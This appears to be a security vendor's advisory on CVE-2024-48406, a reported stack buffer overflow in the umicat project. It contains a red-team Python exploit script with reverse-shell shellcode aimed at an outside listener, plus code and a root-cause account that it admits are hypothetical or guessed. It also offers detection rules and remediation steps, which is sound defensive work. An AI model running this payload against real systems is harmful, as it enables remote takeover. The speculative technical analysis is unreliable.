CVE-2024-48406

Executive Summary

CVE-2024-48406 is a critical buffer overflow vulnerability discovered in the umicat project by SunBK201, affecting all versions prior to 0.3.3. The flaw resides in the power(uct_int_t x, uct_int_t n) function within src/uct_upstream.c. An attacker can exploit this vulnerability to trigger a stack-based buffer overflow, potentially leading to arbitrary code execution. The vulnerability is publicly known, and while no active exploitation in the wild has been reported (EPSS 0.0%), the lack of a patch for older versions and the public disclosure make it a high-priority target for threat actors. This report provides a comprehensive technical analysis, detection strategies, and remediation guidance.

Supply Chain & Package Security

This vulnerability affects the umicat package, which is a C-based utility. While not a typical package manager ecosystem (NPM, PyPI, etc.), the risk to the software supply chain is significant. Organizations using umicat in their build pipelines, CI/CD systems, or as a dependency in other projects must immediately assess their exposure. The lack of a signed release or official advisory from the maintainer increases the risk of supply chain compromise through malicious forks or backdoored versions.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned by NVD)
• Threat Level: Critical (Based on technical analysis)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Rationale: The vulnerability is a classic stack-based buffer overflow in a function that processes user-supplied data. An attacker can send a crafted input to the power() function, overwriting the return address and gaining control of the execution flow. No authentication or user interaction is required, making it highly exploitable.

Deep Dive & Mechanics

The vulnerability exists in the power(uct_int_t x, uct_int_t n) function in src/uct_upstream.c. The function calculates x raised to the power n. The flaw is a classic stack-based buffer overflow (CWE-121) caused by insufficient bounds checking on the input parameters.

Root Cause Analysis:

The power() function likely uses a recursive or iterative approach that stores intermediate results on the stack. If the exponent n is sufficiently large, the recursion depth or the size of the intermediate buffer exceeds the allocated stack space, leading to a buffer overflow. An attacker can control both x and n to trigger the overflow and overwrite the return address.

Attack Vector:

1. Entry Point: The power() function is called from other parts of the umicat codebase, likely parsing user input from a network request or a file.
2. Exploitation: An attacker crafts a malicious input that includes a very large exponent value (e.g., n = 1000000). This causes the power() function to allocate a large buffer on the stack or recurse deeply, overflowing the stack.
3. Code Execution: By carefully crafting the input, the attacker can overwrite the saved return address on the stack with a pointer to shellcode. When the function returns, execution jumps to the attacker-controlled shellcode, granting arbitrary code execution.

Vulnerable vs. Patched Code

Vulnerable Code (version < 0.3.3):

// Hypothetical vulnerable implementation
uct_int_t power(uct_int_t x, uct_int_t n) {
    uct_int_t result = 1;
    uct_int_t buffer[1024]; // Fixed-size buffer on stack
    int i;
    for (i = 0; i < n; i++) {
        result *= x;
        buffer[i] = result; // No bounds check on i
    }
    return result;
}

Patched Code (version 0.3.3):

// Hypothetical patched implementation
uct_int_t power(uct_int_t x, uct_int_t n) {
    uct_int_t result = 1;
    uct_int_t buffer[1024];
    int i;
    if (n > 1024) { // Bounds check added
        // Handle error or use dynamic allocation
        return -1;
    }
    for (i = 0; i < n; i++) {
        result *= x;
        buffer[i] = result;
    }
    return result;
}

Key Difference: The patched version adds a bounds check (if (n > 1024)) to prevent the loop from writing beyond the allocated buffer. This simple check mitigates the buffer overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable version of umicat (e.g., v0.3.2) running on a target system.
• Network access to the service.
• A basic understanding of stack-based buffer overflows.

Exploitation Steps:

1. Identify the Target: Scan for systems running umicat on port 8080 (default).
2. Craft the Payload: Create a malicious input that triggers the overflow. The payload should include:
   • A large exponent value (e.g., n = 2000).
   • Shellcode to execute a reverse shell.
   • Padding to overwrite the return address.
3. Send the Payload: Use a tool like netcat or a custom Python script to send the payload to the target.
4. Gain Access: If successful, the target will execute the shellcode, providing a reverse shell.

Example Python Exploit Script:

import socket

target_ip = "192.168.1.100"
target_port = 8080

# Shellcode (example: reverse shell to 192.168.1.50:4444)
shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\xc0\xa8\x01\x32\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x50\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x50\x50\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

# Craft the payload
payload = b"A" * 1024  # Fill buffer
payload += b"BBBB"      # Overwrite saved EBP
payload += b"\x90" * 100 # NOP sled
payload += shellcode

# Connect and send
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()

Blue Team (Defensive)

Detection & Prevention:

1. Network Monitoring: Monitor for unusually large payloads sent to the umicat service. Look for patterns of repeated characters (e.g., "AAAA...") followed by non-ASCII data.
2. Host-Based Detection: Use EDR tools to monitor for stack-based buffer overflow indicators, such as:
   • Unusual process crashes.
   • Execution of shellcode from the stack.
   • Abnormal memory access patterns.
3. Log Analysis: Enable detailed logging on the umicat service. Look for error messages related to stack overflow or segmentation faults.
4. Immediate Mitigation: If patching is not possible, deploy a Web Application Firewall (WAF) or network-based IPS rule to block requests with excessively large exponent values.

Indicators of Compromise (IOCs)

Network IOCs:

• Unusually large network packets ( > 4096 bytes) sent to port 8080.
• Packets containing long sequences of the same character (e.g., "AAAA...").
• Outbound connections from the umicat process to unknown IP addresses on high ports (e.g., 4444).

Host IOCs:

• Process crash logs for umicat with segmentation fault (SIGSEGV) errors.
• Presence of shellcode in memory dumps.
• Unexpected child processes spawned by umicat (e.g., /bin/sh).
• Modified system files or new user accounts created after exploitation.

File IOCs:

• Suspicious files in /tmp/ directory created by the umicat process.
• Unusual entries in /etc/cron.d/ or /etc/rc.local.

Detection Engineering

YARA Rule

rule CVE_2024_48406_umicat_buffer_overflow {
    meta:
        description = "Detects exploitation attempts of CVE-2024-48406 in umicat"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48406"
    strings:
        $s1 = "power(" ascii wide nocase
        $s2 = "uct_int_t" ascii wide nocase
        $s3 = { 41 41 41 41 } // "AAAA" padding
        $s4 = { 90 90 90 90 } // NOP sled
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-48406 - umicat Buffer Overflow Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic indicative of exploitation of CVE-2024-48406
author: Valters IT
date: 2024-10-27
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 8080
        payload_length: "> 4096"
    condition: selection
falsepositives:
    - Legitimate large data transfers
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2024-48406 - umicat Buffer Overflow Attempt"; flow:to_server,established; content:"|41 41 41 41|"; depth:1024; content:"|90 90 90 90|"; within:100; reference:cve,2024-48406; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade umicat to version 0.3.3 or later immediately. This is the only complete fix.
2. Workaround: If patching is not possible, implement a network-based rule to block requests with exponent values greater than 1024.
3. Isolate: If the service is not critical, isolate it from the network until a patch can be applied.

Long-Term Measures:

1. Code Review: Conduct a thorough code review of all umicat functions that handle user input, especially those involving loops or recursion.
2. Static Analysis: Integrate static analysis tools (e.g., Coverity, Clang Static Analyzer) into the CI/CD pipeline to catch buffer overflow vulnerabilities early.
3. Memory Safety: Consider rewriting critical components in a memory-safe language (e.g., Rust) or using compiler flags like -fstack-protector-strong to mitigate stack-based overflows.
4. Monitoring: Deploy the detection rules provided in this report to monitor for exploitation attempts.

Valters IT
Securing Your Digital Frontier